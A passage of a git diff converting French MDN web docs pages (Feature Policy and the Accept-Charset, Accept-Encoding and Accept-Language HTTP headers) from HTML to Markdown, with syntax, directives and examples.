grandes catégories :</p> +L'ensemble actuel des fonctionnalités contrôlables se résume donc à deux grandes catégories : -<ul> - <li>Imposer des bonnes pratiques pour une bonne expérience d'utilisation,</li> - <li>Fournir un contrôle granulaire sur les fonctionnalités sensitives ou puissantes.</li> -</ul> +- Imposer des bonnes pratiques pour une bonne expérience d'utilisation, +- Fournir un contrôle granulaire sur les fonctionnalités sensitives ou puissantes. -<h3 id="Bonnes_pratiques_pour_une_bonne_expérience_dutilisation">Bonnes pratiques pour une bonne expérience d'utilisation</h3> +### Bonnes pratiques pour une bonne expérience d'utilisation -<p>Il y a plusieurs fonctionnalités contrôlables pour vous aider à mettre en place de bonnes pratiques afin d'assurer de bonnes performances et une expérience d'utilisation agréable.</p> +Il y a plusieurs fonctionnalités contrôlables pour vous aider à mettre en place de bonnes pratiques afin d'assurer de bonnes performances et une expérience d'utilisation agréable. -<p>Dans la plupart des cas, les fonctionnalités contrôlables sont celles qui, si utilisées, vont affecter négativement l'expérience d'utilisation. Pour éviter de faire dysfonctionner un site web déjà existant, ces fonctionnalités autorisent par défaut leur usage par toutes les origines. Une bonne pratique est donc d'utiliser des règles qui désactivent ces fonctionnalités pour certaines origines.</p> +Dans la plupart des cas, les fonctionnalités contrôlables sont celles qui, si utilisées, vont affecter négativement l'expérience d'utilisation. Pour éviter de faire dysfonctionner un site web déjà existant, ces fonctionnalités autorisent par défaut leur usage par toutes les origines. Une bonne pratique est donc d'utiliser des règles qui désactivent ces fonctionnalités pour certaines origines. -<p>La liste de ces fonctionnalités est :</p> +La liste de ces fonctionnalités est : -<ul> - <li>Animations de rafraichissement de l'affichage,</li> - <li>Formats d'image du passé,</li> - <li>Images surdimensionnées,</li> - <li>Scripts synchrones,</li> - <li>Requêtes XMLHTTPRequest sychrones,</li> - <li>Images non optimisées,</li> - <li>Médias non dimensionnés.</li> -</ul> +- Animations de rafraichissement de l'affichage, +- Formats d'image du passé, +- Images surdimensionnées, +- Scripts synchrones, +- Requêtes XMLHTTPRequest sychrones, +- Images non optimisées, +- Médias non dimensionnés. -<h3 id="Contrôle_granulaire_sur_certaines_fonctionnalités">Contrôle granulaire sur certaines fonctionnalités</h3> +### Contrôle granulaire sur certaines fonctionnalités -<p>Le web fournit des fonctionnalités et API que peuvent affecter l'anonymat, la vie privée et la sécurité si leur usage est abusif. Dans certains cas, vous pourriez avoir envie de limiter strictement la manière dont de telles fonctionnalités sont utilisées sur un site web. Il y a des moyens de permettre à des fonctionnalités d'être activées ou désactivées pour des origines ou des cadres spécifiques dans un site web. Quand ils sont disponibles, les moyens intègrent avec l'API Permissions ou des mécanismes propres à eux-mêmes la possibilité de vérifier si la fonctionnalité est disponible.</p> +Le web fournit des fonctionnalités et API que peuvent affecter l'anonymat, la vie privée et la sécurité si leur usage est abusif. Dans certains cas, vous pourriez avoir envie de limiter strictement la manière dont de telles fonctionnalités sont utilisées sur un site web. Il y a des moyens de permettre à des fonctionnalités d'être activées ou désactivées pour des origines ou des cadres spécifiques dans un site web. Quand ils sont disponibles, les moyens intègrent avec l'API Permissions ou des mécanismes propres à eux-mêmes la possibilité de vérifier si la fonctionnalité est disponible. -<p>Les fonctionnalités incluent (voir la <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy#Directives">liste des Features</a>) :</p> +Les fonctionnalités incluent (voir la [liste des Features](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy#Directives)) : -<ul> - <li>Accéléromètre</li> - <li>Capteur de luminosité ambiante</li> - <li>Lecture automatique</li> - <li>Appareil photographique</li> - <li>Médias chiffrés</li> - <li>Plein écran</li> - <li>Géolocalisation</li> - <li>Gyroscope</li> - <li>Magnétomètre</li> - <li>Microphone</li> - <li>MIDI</li> - <li>PaymentRequest</li> - <li>Picture-in-picture</li> - <li>USB</li> - <li>Web Share API</li> - <li>VR / XR</li> -</ul> +- Accéléromètre +- Capteur de luminosité ambiante +- Lecture automatique +- Appareil photographique +- Médias chiffrés +- Plein écran +- Géolocalisation +- Gyroscope +- Magnétomètre +- Microphone +- MIDI +- PaymentRequest +- Picture-in-picture +- USB +- Web Share API +- VR / XR -<h2 id="Exemples">Exemples</h2> +## Exemples -<ul> - <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a></li> - <li>Voir <a href="http://feature-policy-demos.appspot.com/">Démonstrations de Feature Policy</a> pour un exemple d'utilisation de plusieurs règles.</li> -</ul> +- [Utiliser Feature Policy](/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy) +- Voir [Démonstrations de Feature Policy](http://feature-policy-demos.appspot.com/) pour un exemple d'utilisation de plusieurs règles. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{SpecName("Feature Policy","#feature-policy-http-header-field","Feature-Policy")}}</td> - <td>{{Spec2("Feature Policy")}}</td> - <td>Définition initiale. Définit l'en-tête {{httpheader("Feature-Policy")}}. Les directives sont définies dans la spécification pour les fonctionnalités qu'elles contrôlent. Voir les pages individuelles des directives pour plus de détails.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| ---------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| {{SpecName("Feature Policy","#feature-policy-http-header-field","Feature-Policy")}} | {{Spec2("Feature Policy")}} | Définition initiale. Définit l'en-tête {{httpheader("Feature-Policy")}}. Les directives sont définies dans la spécification pour les fonctionnalités qu'elles contrôlent. Voir les pages individuelles des directives pour plus de détails. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs +{{Compat("http.headers.Feature-Policy")}} +## Voir aussi -<p>{{Compat("http.headers.Feature-Policy")}}</p> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a></li> - <li>{{HTTPHeader("Feature-Policy")}} HTTP header</li> - <li>{{HTMLElement("iframe","<code>allow</code>","#Attributes")}} attribute on iframes</li> - <li><a href="https://developers.google.com/web/updates/2018/06/feature-policy">Introduction à Feature Policy</a></li> - <li><a href="https://www.chromestatus.com/features#component%3A%20Blink%3EFeaturePolicy">Feature policies sur www.chromestatus.com</a></li> - <li><a href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop">Feature-Policy Tester (extension Chrome Developer Tools)</a></li> - <li><a href="/en-US/docs/Web/Privacy">Anonymat, permissions et informations sur la sécurité</a></li> -</ul> +- [Utiliser Feature Policy](/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy) +- {{HTTPHeader("Feature-Policy")}} HTTP header +- {{HTMLElement("iframe","<code>allow</code>","#Attributes")}} attribute on iframes +- [Introduction à Feature Policy](https://developers.google.com/web/updates/2018/06/feature-policy) +- [Feature policies sur www.chromestatus.com](https://www.chromestatus.com/features#component%3A%20Blink%3EFeaturePolicy) +- [Feature-Policy Tester (extension Chrome Developer Tools)](https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop) +- [Anonymat, permissions et informations sur la sécurité](/en-US/docs/Web/Privacy) diff --git a/files/fr/web/http/headers/accept-charset/index.md b/files/fr/web/http/headers/accept-charset/index.md index e832f5b513..7f542ec055 100644 --- a/files/fr/web/http/headers/accept-charset/index.md +++ b/files/fr/web/http/headers/accept-charset/index.md @@ -3,79 +3,63 @@ title: Accept-Charset slug: Web/HTTP/Headers/Accept-Charset translation_of: Web/HTTP/Headers/Accept-Charset --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête HTTP de la requête<strong><code>Accept-Charset</code></strong> indique le jeu de caractères que le client est capable de comprendre. À l'aide de la <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>, le serveur sélectionne l'une des propositions, l'utilise et informe le client de son choix dans l'en-tête de réponse {{HTTPHeader ("Content-Type")}}. Les navigateurs ne définissent généralement pas cet en-tête car la valeur par défaut de chaque type de contenu est généralement correcte et sa transmission permettrait une empreinte digitale plus facile.</p> +L'en-tête HTTP de la requête**`Accept-Charset`** indique le jeu de caractères que le client est capable de comprendre. À l'aide de la [content negotiation](/en-US/docs/Web/HTTP/Content_negotiation), le serveur sélectionne l'une des propositions, l'utilise et informe le client de son choix dans l'en-tête de réponse {{HTTPHeader ("Content-Type")}}. Les navigateurs ne définissent généralement pas cet en-tête car la valeur par défaut de chaque type de contenu est généralement correcte et sa transmission permettrait une empreinte digitale plus facile. -<p>Si le serveur ne peut servir aucun jeu de caractères correspondant, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (non acceptable). Cependant, pour une meilleure expérience utilisateur, cela est rarement fait et le moyen le plus courant consiste à ignorer l'en-tête <code>Accept-Charset</code> dans ce cas.</p> +Si le serveur ne peut servir aucun jeu de caractères correspondant, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (non acceptable). Cependant, pour une meilleure expérience utilisateur, cela est rarement fait et le moyen le plus courant consiste à ignorer l'en-tête `Accept-Charset` dans ce cas. -<div class="note"> -<p><strong>Note :</strong> Dans les premières versions de HTTP / 1.1, un jeu de caractères par défaut (ISO-8859-1) était défini. Ce n'est plus le cas et maintenant chaque type de contenu peut avoir sa propre valeur par défaut.</p> -</div> +> **Note :** Dans les premières versions de HTTP / 1.1, un jeu de caractères par défaut (ISO-8859-1) était défini. Ce n'est plus le cas et maintenant chaque type de contenu peut avoir sa propre valeur par défaut. <table class="properties"> - <tbody> - <tr> - <th scope="row">Header type</th> - <td>{{Glossary("Request header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>yes</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> </table> -<h2 id="Syntax">Syntax</h2> +## Syntax -<pre class="syntaxbox">Accept-Charset: <charset> + Accept-Charset: <charset> -// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: -Accept-Charset: utf-8, iso-8859-1;q=0.5</pre> + // Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: + Accept-Charset: utf-8, iso-8859-1;q=0.5 -<h2 id="Les_directives">Les directives</h2> +## Les directives -<dl> - <dt><code><charset></code></dt> - <dd>Un jeu de caractères comme utf-8 ou iso-8859-15.</dd> - <dt><code>*</code></dt> - <dd>Tout jeu de caractères non mentionné ailleurs dans l'en-tête; '*' utilisé comme un joker.</dd> - <dt><code>;q=</code> (q-factor weighting)</dt> - <dd>Toute valeur est placée dans un ordre de préférence exprimé à l'aide d'une valeur de qualité relative appelée <em>weight</em>.</dd> -</dl> +- `<charset>` + - : Un jeu de caractères comme utf-8 ou iso-8859-15. +- `*` + - : Tout jeu de caractères non mentionné ailleurs dans l'en-tête; '\*' utilisé comme un joker. +- `;q=` (q-factor weighting) + - : Toute valeur est placée dans un ordre de préférence exprimé à l'aide d'une valeur de qualité relative appelée _weight_. -<h2 id="Examples">Examples</h2> +## Examples -<pre>Accept-Charset: iso-8859-1 + Accept-Charset: iso-8859-1 -Accept-Charset: utf-8, iso-8859-1;q=0.5 + Accept-Charset: utf-8, iso-8859-1;q=0.5 -Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1 -</pre> + Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1 -<h2 id="Specifications">Specifications</h2> +## Specifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "Accept-Charset", "5.3.3")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> - </tr> - </tbody> -</table> +| Specification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "Accept-Charset", "5.3.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context | -<h2 id="Compatibilité_du_navigateur">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Accept-Charset")}}</p> +{{Compat("http.headers.Accept-Charset")}} -<h2 id="Voir_également">Voir également</h2> +## Voir également -<ul> - <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li> - <li>Header avec le résultat de la négociation de contenu : {{HTTPHeader("Content-Type")}}</li> - <li>Autres Header similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}</li> -</ul> +- HTTP [content negotiation](/en-US/docs/Web/HTTP/Content_negotiation) +- Header avec le résultat de la négociation de contenu : {{HTTPHeader("Content-Type")}} +- Autres Header similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}} diff --git a/files/fr/web/http/headers/accept-encoding/index.md b/files/fr/web/http/headers/accept-encoding/index.md index 42d6228260..8d785a5a8c 100644 --- a/files/fr/web/http/headers/accept-encoding/index.md +++ b/files/fr/web/http/headers/accept-encoding/index.md @@ -3,47 +3,43 @@ title: Accept-Encoding slug: Web/HTTP/Headers/Accept-Encoding translation_of: Web/HTTP/Headers/Accept-Encoding --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête HTTP <strong><code>Accept-Encoding</code></strong> permet de définir quel sera l'encodage du contenu. Il s'agit généralement de l'algorithme de compression utilisé par le serveur. Le client peut alors décoder le corps de la requête correctement. Utilisant <a href="/fr/docs/Web/HTTP/Content_negotiation">la négociation de contenu</a>, le serveur choisit l'une des propositions d'encodage que le client prend en charge. Le serveur l'utilise et le notifie au client à l'aide de l'en-tête de réponse <a href="/fr/docs/Web/HTTP/Headers/Content-Encoding"><code>Content-Encoding</code></a>.</p> +L'en-tête HTTP **`Accept-Encoding`** permet de définir quel sera l'encodage du contenu. Il s'agit généralement de l'algorithme de compression utilisé par le serveur. Le client peut alors décoder le corps de la requête correctement. Utilisant [la négociation de contenu](/fr/docs/Web/HTTP/Content_negotiation), le serveur choisit l'une des propositions d'encodage que le client prend en charge. Le serveur l'utilise et le notifie au client à l'aide de l'en-tête de réponse [`Content-Encoding`](/fr/docs/Web/HTTP/Headers/Content-Encoding). +Même si le client et le serveur supportent deux algorithmes de compressions communs, le serveur peut choisir de ne pas compresser le corps de la réponse si l'encodage `identity` (aucune compression) est accepté par le client. Deux exemples de cas communs peuvent conduire à la non-compression du corps de la réponse : -<p>Même si le client et le serveur supportent deux algorithmes de compressions communs, le serveur peut choisir de ne pas compresser le corps de la réponse si l'encodage <code>identity</code> (aucune compression) est accepté par le client. Deux exemples de cas communs peuvent conduire à la non-compression du corps de la réponse :</p> +- Les données sont déjà compressées et la compression ne réduira pas la taille des données transmises. Cela peut être le cas de certains formats d'images qui sont déjà compressés ; +- Le serveur est en surcharge et ne peut plus allouer suffisamment de temps de calcul nécessaire pour compresser les données. Microsoft recommande de ne pas utiliser la compression si le serveur utilise plus de 80% de la puissance de calcul. +Dès lors que l'usage d'`identity`, signifiant l'absence de compression, n'est pas explicitement interdite, que ce soit par `identity;q=0` ou `*;q=0` (sans l'usage d'une autre valeur pour `identity`), le serveur ne doit jamais renvoyer une erreur [`406`](/fr/docs/Web/HTTP/Status/406) `Not Acceptable.` -<ul> - <li>Les données sont déjà compressées et la compression ne réduira pas la taille des données transmises. Cela peut être le cas de certains formats d'images qui sont déjà compressés ;</li> - <li>Le serveur est en surcharge et ne peut plus allouer suffisamment de temps de calcul nécessaire pour compresser les données. Microsoft recommande de ne pas utiliser la compression si le serveur utilise plus de 80% de la puissance de calcul.</li> -</ul> - -<p>Dès lors que l'usage d'<code>identity</code>, signifiant l'absence de compression, n'est pas explicitement interdite, que ce soit par <code>identity;q=0</code> ou <code>*;q=0</code> (sans l'usage d'une autre valeur pour <code>identity</code>), le serveur ne doit jamais renvoyer une erreur <a href="/fr/docs/Web/HTTP/Status/406"><code>406</code></a> <code>Not Acceptable.</code></p> - -<div class="note"> - <p><strong>Note :</strong> - <ul> - <li>Un dépôt IANA garde à jour <a href="https://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1">une liste complète des encodages de contenu</a>. - </li> - <li>Deux autres encodages, <code>bzip</code> et <code>bzip2</code>, sont parfois utilisés, bien que non-standards. Ils implémentent l'algorithme utilisé par les deux programmes UNIX respectifs. À noter que le premier n'est plus maintenu suite à des problèmes de licence.</li> - </ul> - </p> -</div> +> **Note :** +> +> - Un dépôt IANA garde à jour [une liste complète des encodages de contenu](https://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1). +> - Deux autres encodages, `bzip` et `bzip2`, sont parfois utilisés, bien que non-standards. Ils implémentent l'algorithme utilisé par les deux programmes UNIX respectifs. À noter que le premier n'est plus maintenu suite à des problèmes de licence. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td><a href="/fr/docs/Glossary/Request_header">En-tête de requête</a></td> - </tr> - <tr> - <th scope="row"><a href="/fr/docs/Glossary/Forbidden_header_name">Nom d'en-tête interdit</a></th> - <td>Oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td><a href="/fr/docs/Glossary/Request_header">En-tête de requête</a></td> + </tr> + <tr> + <th scope="row"> + <a href="/fr/docs/Glossary/Forbidden_header_name" + >Nom d'en-tête interdit</a + > + </th> + <td>Oui</td> + </tr> + </tbody> </table> -<h2 id="syntax">Syntaxe</h2> +## Syntaxe -<pre class="brush: html">Accept-Encoding: gzip +```html +Accept-Encoding: gzip Accept-Encoding: compress Accept-Encoding: deflate Accept-Encoding: br @@ -51,61 +47,46 @@ Accept-Encoding: identity Accept-Encoding: * // Plusieurs algorithmes pondérés par facteur de qualité : -Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5</pre> - -<h2 id="Directives">Directives</h2> - -<dl> - <dt><code>gzip</code></dt> - <dd>Un format de compression utilisant <a href="https://fr.wikipedia.org/wiki/LZ77_et_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77), avec un CRC (Contrôle de Redondance Cyclique) de 32 bits.</dd> - <dt><code>compress</code></dt> - <dd>Un format de compression utilisant l'algorithme <a href="https://fr.wikipedia.org/wiki/Lempel-Ziv-Welch">Lempel-Ziv-Welch</a> (LZW).</dd> - <dt><code>deflate</code></dt> - <dd>Un format de compression utilisant la structure <a href="https://fr.wikipedia.org/wiki/Zlib">zlib</a>, avec l'algorithme de compression <a href="https://fr.wikipedia.org/wiki/Deflate"><em>deflate</em></a>.</dd> - <dt><code>br</code></dt> - <dd>Un format de compression utilisant l'algorithme <a href="https://fr.wikipedia.org/wiki/Brotli">Brotli</a>.</dd> - <dt><code>identity</code></dt> - <dd>Indique la fonction identité (c'est-à-dire pas de compression ou de modification). Cette valeur est toujours considérée comme acceptable, même si l'en-tête ne le précise pas.</dd> - <dt><code>*</code></dt> - <dd>Correspond à tous les systèmes d'encodage de contenu qui n'ont pas été listés dans l'en-tête. C'est la valeur par défaut de l'en-tête s'il n'est pas présent. Cela ne signifie pas que tous les algorithmes sont supportés; seulement qu'aucune préférence n'est exprimée.</dd> - <dt><code>;q=</code> (pondération par qvalues)</dt> - <dd>La valeur indique l'ordre de préférence des méthodes de compression à utiliser. Ce champ utilise les <a href="/fr/docs/Glossary/Quality_values">pondérations de qualité (ou <i>quality values</i> en anglais)</a>.</dd> -</dl> - -<h2 id="examples">Exemples</h2> - -<pre>Accept-Encoding: gzip - -Accept-Encoding: gzip, compress, br - -Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1 -</pre> - -<h2 id="specifications">Spécifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="https://tools.ietf.org/html/rfc7231#section-5.3.4">RFC 7231, section 5.3.4: Accept-Encoding</a></td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> - </tr> - </tbody> -</table> +Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5 +``` + +## Directives + +- `gzip` + - : Un format de compression utilisant [Lempel-Ziv coding](https://fr.wikipedia.org/wiki/LZ77_et_LZ78#LZ77) (LZ77), avec un CRC (Contrôle de Redondance Cyclique) de 32 bits. +- `compress` + - : Un format de compression utilisant l'algorithme [Lempel-Ziv-Welch](https://fr.wikipedia.org/wiki/Lempel-Ziv-Welch) (LZW). +- `deflate` + - : Un format de compression utilisant la structure [zlib](https://fr.wikipedia.org/wiki/Zlib), avec l'algorithme de compression [_deflate_](https://fr.wikipedia.org/wiki/Deflate). +- `br` + - : Un format de compression utilisant l'algorithme [Brotli](https://fr.wikipedia.org/wiki/Brotli). +- `identity` + - : Indique la fonction identité (c'est-à-dire pas de compression ou de modification). Cette valeur est toujours considérée comme acceptable, même si l'en-tête ne le précise pas. +- `*` + - : Correspond à tous les systèmes d'encodage de contenu qui n'ont pas été listés dans l'en-tête. C'est la valeur par défaut de l'en-tête s'il n'est pas présent. Cela ne signifie pas que tous les algorithmes sont supportés; seulement qu'aucune préférence n'est exprimée. +- `;q=` (pondération par qvalues) + - : La valeur indique l'ordre de préférence des méthodes de compression à utiliser. Ce champ utilise les [pondérations de qualité (ou _quality values_ en anglais)](/fr/docs/Glossary/Quality_values). + +## Exemples + + Accept-Encoding: gzip + + Accept-Encoding: gzip, compress, br + + Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1 + +## Spécifications + +| Specification | Title | +| --------------------------------------------------------------------------------------------- | ------------------------------------------------------------- | +| [RFC 7231, section 5.3.4: Accept-Encoding](https://tools.ietf.org/html/rfc7231#section-5.3.4) | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context | -<h2 id="browser_compatibility">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Accept-Encoding")}}</p> +{{Compat("http.headers.Accept-Encoding")}} -<h2 id="see_also">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Content_negotiation">Négociation de contenu</a> HTTP</li> - <li>En-tête résultant de la négociation de contenu : <a href="/fr/docs/Web/HTTP/Headers/Content-Encoding"><code>Content-Encoding</code></a></li> - <li>Autres en-têtes en rapport : <a href="/fr/docs/Web/HTTP/Headers/TE"><code>TE</code></a>, <a href="/fr/docs/Web/HTTP/Headers/Accept"><code>Accept</code></a>, <a href="/fr/docs/Web/HTTP/Headers/Accept-Charset"><code>Accept-Charset</code></a>, <a href="/fr/docs/Web/HTTP/Headers/Accept-Language"><code>Accept-Language</code></a></li> -</ul> +- [Négociation de contenu](/fr/docs/Web/HTTP/Content_negotiation) HTTP +- En-tête résultant de la négociation de contenu : [`Content-Encoding`](/fr/docs/Web/HTTP/Headers/Content-Encoding) +- Autres en-têtes en rapport : [`TE`](/fr/docs/Web/HTTP/Headers/TE), [`Accept`](/fr/docs/Web/HTTP/Headers/Accept), [`Accept-Charset`](/fr/docs/Web/HTTP/Headers/Accept-Charset), [`Accept-Language`](/fr/docs/Web/HTTP/Headers/Accept-Language) diff --git a/files/fr/web/http/headers/accept-language/index.md b/files/fr/web/http/headers/accept-language/index.md index 0c5663c30c..fc23cb2c34 100644 --- a/files/fr/web/http/headers/accept-language/index.md +++ b/files/fr/web/http/headers/accept-language/index.md @@ -9,85 +9,73 @@ tags: - Reference translation_of: Web/HTTP/Headers/Accept-Language --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête <strong><code>Accept-Language</code></strong> de la requête HTTP indique quelles sont les langues que le client est capable de comprendre, et quelle variante locale est préférée. En utilisant la <a href="/fr-FR/docs/Web/HTTP/Content_negotiation">négociation de contenu</a>, le serveur choisit alors l'une des propositions, l'utilise et informe le client de son choix par l'entête de réponse {{HTTPHeader("Content-Language")}}. Les navigateurs définissent les valeurs adéquates pour cet entête en fonction de la langue de leur interface utilisateur, et même si un utilisateur peut la changer, cela se produit rarement (et cela est vu d'un mauvais œil, dans la mesure où cela permet l'identification par empreinte numérique).</p> +L'en-tête **`Accept-Language`** de la requête HTTP indique quelles sont les langues que le client est capable de comprendre, et quelle variante locale est préférée. En utilisant la [négociation de contenu](/fr-FR/docs/Web/HTTP/Content_negotiation), le serveur choisit alors l'une des propositions, l'utilise et informe le client de son choix par l'entête de réponse {{HTTPHeader("Content-Language")}}. Les navigateurs définissent les valeurs adéquates pour cet entête en fonction de la langue de leur interface utilisateur, et même si un utilisateur peut la changer, cela se produit rarement (et cela est vu d'un mauvais œil, dans la mesure où cela permet l'identification par empreinte numérique). -<p>Cet en-tête est une indication destinée à être utilisée lorsque le serveur n'a aucun moyen de déterminer la langue d'une autre manière, comme une URL spécifique, qui est contrôlée par une décision explicite de l'utilisateur. Il est recommandé que le serveur ne passe jamais outre une décision explicite. Le contenu d'<code>Accept-Language</code> est souvent hors du contrôle de l'utilisateur (comme lors d'un voyage et de l'utilisation d'un cybercafé à l'étranger) ; l'utilisateur peut également vouloir visiter une page dans une langue que celle des paramètres régionaux de son interface utilisateur.</p> +Cet en-tête est une indication destinée à être utilisée lorsque le serveur n'a aucun moyen de déterminer la langue d'une autre manière, comme une URL spécifique, qui est contrôlée par une décision explicite de l'utilisateur. Il est recommandé que le serveur ne passe jamais outre une décision explicite. Le contenu d'`Accept-Language` est souvent hors du contrôle de l'utilisateur (comme lors d'un voyage et de l'utilisation d'un cybercafé à l'étranger) ; l'utilisateur peut également vouloir visiter une page dans une langue que celle des paramètres régionaux de son interface utilisateur. -<p>Si le serveur ne peut servir aucune langue qui corresponde, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (Not Acceptable). Mais, pour une meilleure expérience utilisateur, cela est rarement fait et la façon de faire la plus courante est d'ignorer l'en-tête <code>Accept-Language</code> dans ce cas.</p> +Si le serveur ne peut servir aucune langue qui corresponde, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (Not Acceptable). Mais, pour une meilleure expérience utilisateur, cela est rarement fait et la façon de faire la plus courante est d'ignorer l'en-tête `Accept-Language` dans ce cas. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("Request header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> - <td>oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + <tr> + <th scope="row"> + {{Glossary("Simple header", "CORS-safelisted request-header")}} + </th> + <td>oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Accept-Language: <langue> -Accept-Language: <locale> -Accept-Language: * + Accept-Language: <langue> + Accept-Language: <locale> + Accept-Language: * -// Type multiples, pondérés par la syntaxe {{glossary("quality values", "valeur de qualité")}} : -Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre> + // Type multiples, pondérés par la syntaxe {{glossary("quality values", "valeur de qualité")}} : + Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5 -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><code><langue></code></dt> - <dd>Une langue exprimée sous la forme de 2 ou 3 caractères.</dd> - <dt><code><locale></code></dt> - <dd>Une balise de langue complète. En plus de la langue elle-même, elle peut contenir des informations additionnelles après un<code>'-'</code>. L'information supplémentaire la plus courante est la variante de pays (telle que<code>'en-US'</code>) ou le type d'alphabet à utiliser (comme<code>'sr-Lat'</code>). D'autres variantes comme le type d'orthographe (<code>'de-DE-1996'</code>) ne sont pas habituellement utilisées dans le contexte de cet en-tête.</dd> - <dt><code>*</code></dt> - <dd>Toute langue ; <code>'*'</code> est utilisé comme un joker.</dd> - <dt><code>;q=</code> (pondération q-factor)</dt> - <dd>Une quantité numérique donnant un ordre de préférence et qui utilise une <a href="/en-US/docs/Glossary/Quality_values">valeur de qualité</a> relative, appelée <em>poids</em>.</dd> -</dl> +- `<langue>` + - : Une langue exprimée sous la forme de 2 ou 3 caractères. +- `<locale>` + - : Une balise de langue complète. En plus de la langue elle-même, elle peut contenir des informations additionnelles après un`'-'`. L'information supplémentaire la plus courante est la variante de pays (telle que`'en-US'`) ou le type d'alphabet à utiliser (comme`'sr-Lat'`). D'autres variantes comme le type d'orthographe (`'de-DE-1996'`) ne sont pas habituellement utilisées dans le contexte de cet en-tête. +- `*` + - : Toute langue ; `'*'` est utilisé comme un joker. +- `;q=` (pondération q-factor) + - : Une quantité numérique donnant un ordre de préférence et qui utilise une [valeur de qualité](/en-US/docs/Glossary/Quality_values) relative, appelée _poids_. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Accept-Language: de + Accept-Language: de -Accept-Language: de-CH + Accept-Language: de-CH -Accept-Language: en-US,en;q=0.5 -</pre> + Accept-Language: en-US,en;q=0.5 -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", 